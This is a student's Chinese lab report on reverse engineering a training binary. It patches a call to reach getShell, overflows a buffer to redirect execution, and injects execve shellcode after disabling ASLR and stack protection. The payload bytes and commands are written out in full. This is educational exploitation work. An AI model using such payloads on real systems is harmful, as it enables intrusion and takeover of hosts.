20165223《网络对抗技术》Exp1 PC平台逆向破解
目录——PC平台逆向破解
1 逆向及BOF基础实践说明
1.1 实践内容
本次的实践对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。pwn1运行截图如下:

本次实验内容(三项):
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
1.2 实践要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
- 掌握反汇编与十六进制编程器 (0.5分)
- 能正确修改机器指令改变程序执行流程(0.5分)
- 能正确构造payload进行bof攻击(0.5分)
1.3 基础知识
- 常用Linux操作指令
objdump -d:对任意一个二进制文件进行反汇编:%!xxd:把二进制文档转成十六进制显示perl -e:指定字符串以作为脚本(多个字符串迭加)执行|:管道,把前者的输出作为后者的输入>:重定向,将输出内容指向一个指定文件
- NOP, JNE, JE, JMP, CMP汇编指令的机器码(参考汇编指令与机器码对照表)
NOP:90。空指令,CPU不做操作,继续执行NOP后面的一条指令JNE:75。条件转移指令,若不相等则跳转JE:74。条件转移指令,若相等则跳转JMP:无条件转移指令。段内直接短转 Jmp short(EB) 段内直接近转移 Jmp near(E9) 段内间接转移 Jmp word(FF) 段间直接(远)转移 Jmp far(EA)CM:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CALL:E8,调用子程序。
2 实验步骤
2.1 直接修改程序机器指令,改变程序执行流程
(1)先通过cp指令将pwn1备份三份,分别重命名为pwn_1、pwn_2、pwn_3,用于后续实验

(2)使用反汇编命令objdump -d pwn_1 | more将二进制文件pwn_1反汇编(more指分页查看)

(3)分析反汇编出来的代码,寻找需要修改的代码对应的机器码

- 在main函数中找到call语句,
call 8048491 <foo>,可以看出:- 调用的是地址为
8048491的foo函数(箭头指向) - 对应找到这句call指令位于地址
80484b5,对应机器码是e8 d7 ff ff ff,查表知道e8即call(跳转)
- 调用的是地址为
- 若无跳转指令,此时EIP的值本该是下一条指令的地址,即
80484ba;但由于call指令,CPU会进行跳转并执行EIP+d7ffffff处的指令,即80484ba+d7ffffff,在计算器中可以算出结果为8048491- d7ffffff是补码,即-41,41换成16进制是0x29
- 80484ba+d7ffffff=80484ba-0x29=8048491
- 要想实现实验目标,手动操作修改程序机器指令,使call指令直接调用getShell,只需要将
d7ffffff修改为getShell对应的地址-EIP的地址对应的补码,即804847d-80484ba的补码,用计算器算出结果为c3ffffff
(4)使用命令vim pwn_1打开可执行文件,使用命令:%!xxd将显示模式由二进制切换为十六进制模式

(5)输入/e8d7指定查找需要修改的部分代码,并比对前后相应代码,确定位置正确

(6)按i切换为输入模式,修改d7为c3,保存

(7)输入:%!xxd -r将十六进制转换为原格式,按:wq保存退出
(8)再输入反汇编命令objdump -d pwn_1,查看到call指令已经被修改为直接调用getShell

(9)运行pwn_1文件,可以看到出现了shell提示符 #

2.2 通过构造输入参数,造成BOF攻击,改变程序执行流
(1)objdump -d pwn_2反汇编pwn_2文件
- 目的是利用foo函数中的Buffer overflow漏洞,通过构造输入的参数来造成BOF攻击
- foo函数中的mov指令读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成缓冲区溢出
- 目的是输入的参数刚好溢出到覆盖掉foo函数到main的返回地址
- main函数在调用foo函数的同时会在堆栈中压入返回地址
80484ae

(2)通过gdb调试确认输入几个参数能刚好覆盖到返回地址


- 看出若是输入
1111111122222222333333334444444412345678,那么1234恰好能够覆盖到返回地址 - 原因是从看eip值可以看出下一条指令的地址是
0x34333231,就是1234按小端输出的ASCII码值 - 因此只需在参数
1234的位置替换输入getShell的目的地址,再将结果输给pwn_2,则可以实现目的
(3)找到需要替换的目的地址

- 之前反汇编时可以看到getShell的目的地址是
0x804847d, - 因此要输入的参数是
11111111222222223333333344444444\x7d\x84\x04\x08\x0a(\x0a换行)
(4)使用perl命令将输入的参数重定向>到BOF1,使用|管道命令将输出的BOF作为pwn_2的输入

- perl命令:
perl -e ' print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > BOF1 - 管道命令:
(cat BOF1 ; cat) | ./pwn_2
2.3 注入Shellcode并执行
(1)准备工作
- 要实现shellcode注入,需要在特定的环境下执行:
- 关闭堆栈保护
- 关闭堆栈执行保护
- 关闭地址随机化
- 在x32环境下
- 在Linux实践环境
- 具体命令:
apt-get install execstack //安装execstack
execstack -s pwn_3 //关闭堆栈执行保护
execstack -q pwn_3 //查询文件堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

(2)查找地址
- 先在命令行输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,其中\x4\x3\x2\x1就是注入shellcode后覆盖到堆栈上的返回地址的位置 - 输入
(cat input_shellcode;cat) | ./pwn_3注入shellcode攻击

- 在Tab2中输入
ps -ef | grep pwn_3,查找pwn_3的进程号为2336

- 在Tab2中使用gdb对pwn_3进行调试,输入
attach 2336运行进程

- 通过
disassemble foo查看foo的汇编代码,可以看到ret指令对应的地址为0x080484ae

- 输入
b *0x080484ae设置断点,回车 - 输入
c(continue),回车,返回Tab1,回车,再返回Tab2,回车 info r esp查看栈顶指针,得到地址为0xffffd37c

- 使用十六进制
x/16x 0xffffd37c查看内存,可以清楚的看到0x01020304
(这里的图忘记截了,用的是本次实验某次同一步操作时的截图)

- 得出结论:返回地址栈顶指针
ffffd37c+4位=覆盖到返回地址的地址,即ffffd380 - 将
ffffd380改写入Shellcode中即可
(3)注入Shellcode
- 命令行输入
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > shellcode - 将其中的
\x4\x3\x2\x1替换为ffffd380,即\x80\xd3\xff\xff - 注入Shellcode攻击:
(cat shellcode;cat) | ./pwn_3,成功

3 实验中遇到的问题及解决方法
(1)修改主机名
- 一开始主机名是直接用kali设置的,后来写报告的时候发现要改成名字拼音
- 参考资料3种方法更改Linux系统的主机名(hostname)
- 输入命令
sudo hostnamectl set-hostname <名字>进行修改


(2)update时出现error,换源并将网络改成桥接模式
- 出现问题如下,更新失败

- 先输入
sudo cp /etc/apt/sources.list /etc/apt/sources.list.old备份源列表 - 输入
sudo vim /etc/apt/sources.list进入源列表换源(这里增加了中科院的源)

- 再次update发现还是出错

- 发现网络未打开,改成桥接模式


- 后来换成了清华的源,再次update成功


- 参考资料:apt-get下载源错误解决方法
(3)shellcode注入段错误问题
- 问题如下:

- 在前面的查找地址、地址计算、输入shellcode部分都正确的情况下为何还会出现段错误呢?
- 一开始百思不得其解,后来多次尝试后发现是之前重启机器后忘记重新关闭堆栈保护导致了错误
- 输入命令
echo "0" > /proc/sys/kernel/randomize_va_space来关闭地址随机化,再进行后续操作就成功了

4 实验收获与感想
(1)思考:什么是漏洞?漏洞有什么危害?
- 漏洞就是系统的弱点和缺陷,是计算机的BUG,是应用软件或操作系统软件在逻辑设计上没有考虑到的疏忽和缺陷或在编写中产生的错误,有被攻击的隐患,导致未授权的访问甚至破坏系统。漏洞的存在给不法分子或黑客攻击者提供了入侵电脑的机会,通常通过植入木马、病毒、钓鱼网站挂马等方式来攻击或控制整个电脑,造成诸如权限替换、窃取资料、信息泄露、病毒传播、恶意勒索、破坏系统等严重后果。
(2)实验收获与感想
- 本次实验使用了三种方法实现PC平台逆向破解,让我熟悉了Kali的使用(其实跟Linux差不多啦)并且循序渐进地学会了这三种攻击方法,特别是之前没接触过的BOF攻击、shellcode注入攻击等,也进一步学习了gdb调试的使用。
- 在实验过程中也遇到了很多问题,主要是update&upgrade时的错误,后来替换了源和DNS就OK了,过程其实跟之前在Linux中遇到的差不多~
- 进一步理解并掌握了堆栈的概念,缓冲区溢出攻击的方法,感觉又进步了一丢丢w
20165223《网络对抗技术》Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- 20155227《网络对抗》Exp1 PC平台逆向破解(5)M
20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
- 20145336张子扬 《网络对抗技术》 PC平台逆向破解
#20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...
随机推荐
- Php7.3 could not find driver
今天phpstudy升级php7.3,发现框架报错:could not find driver,后来发现默认php.ini的配置有几个是注释掉的,配置php.ini,修改如下 extension=my ...
- 前端面试知识点集锦(JavaScript篇)
目录 1.谈谈你对Ajax的理解?(概念.特点.作用) 2.说说你对延迟对象deferred的理解? 3.什么是跨域,如何实现跨域访问? 4.为什么要使用模板引擎? 5.JavaScript是一门什么 ...
- element-tree-grid(表格树)的使用
表格树,element-tree-grid需要单独下载并再配合elementUi里el-table使用. 步骤:1.npm install element-tree-grid --save(下载ele ...
- 你真的懂JavaScript基础类型吗
夯实Javascript基础. 基本类型有六种: null,undefined,boolean,number,string,symbol. 基本类型的值是保存在栈内存中的简单数据段 基础类型特性 基础 ...
- socket字符流循环截取
场景:socket 客户端将一个单向链表序列化后发送给服务端,服务端将之解析,重新构建单向链表. Client.cpp //遍历链表,填充到缓冲区 ]) { ListNode* tmp = p; // ...
- Express NodeJs Web框架 入门笔记
Express 是一个简洁而灵活的 node.js Web应用框架, 提供了一系列强大特性帮助你创建各种 Web 应用,和丰富的 HTTP 工具. 使用 Express 可以快速地搭建一个完整功能的网 ...
- deepin linux学习笔记
目录 deepin linux学习笔记 前言 linux常用命令 ls 显示文件夹内容 cd 切换当前目录 pwd 查看当前工作目录 mkdir 新建文件夹 rm 删除文件或文件夹 mv 移动文件 c ...
- Java:配置环境(Mac)——Eclipse;修改JDK版本后,Eclipse打不开
1.官网下载 选择一个速度快的镜像 推荐东软这个 2.双击下载的安装包,下一步 其中有一步是选择Eclipse版本,SE选第一个,EE第二个.仔细审题吧. 3.配置JDK 应用.关闭 4.测试:写个H ...
- node配置微信小程序解密消息以及推送消息
上一篇文章介绍过 微信小程序配置消息推送,没有看过的可以先去查看一下,这里就直接去把那个客服消息接口去解密那个消息了. 在这里我选择的还是json格式的加密. 也就是给小程序客服消息发送的消息都会被微 ...
- java集合介绍(List,Set,Map)
前言 介绍java的常用集合+各个集合使用用例 欢迎转载,请注明作者和出处哦☺ 参考: 1,<Java核心编程技术(第二版)> 2, http://www.cnblogs.com/Litt ...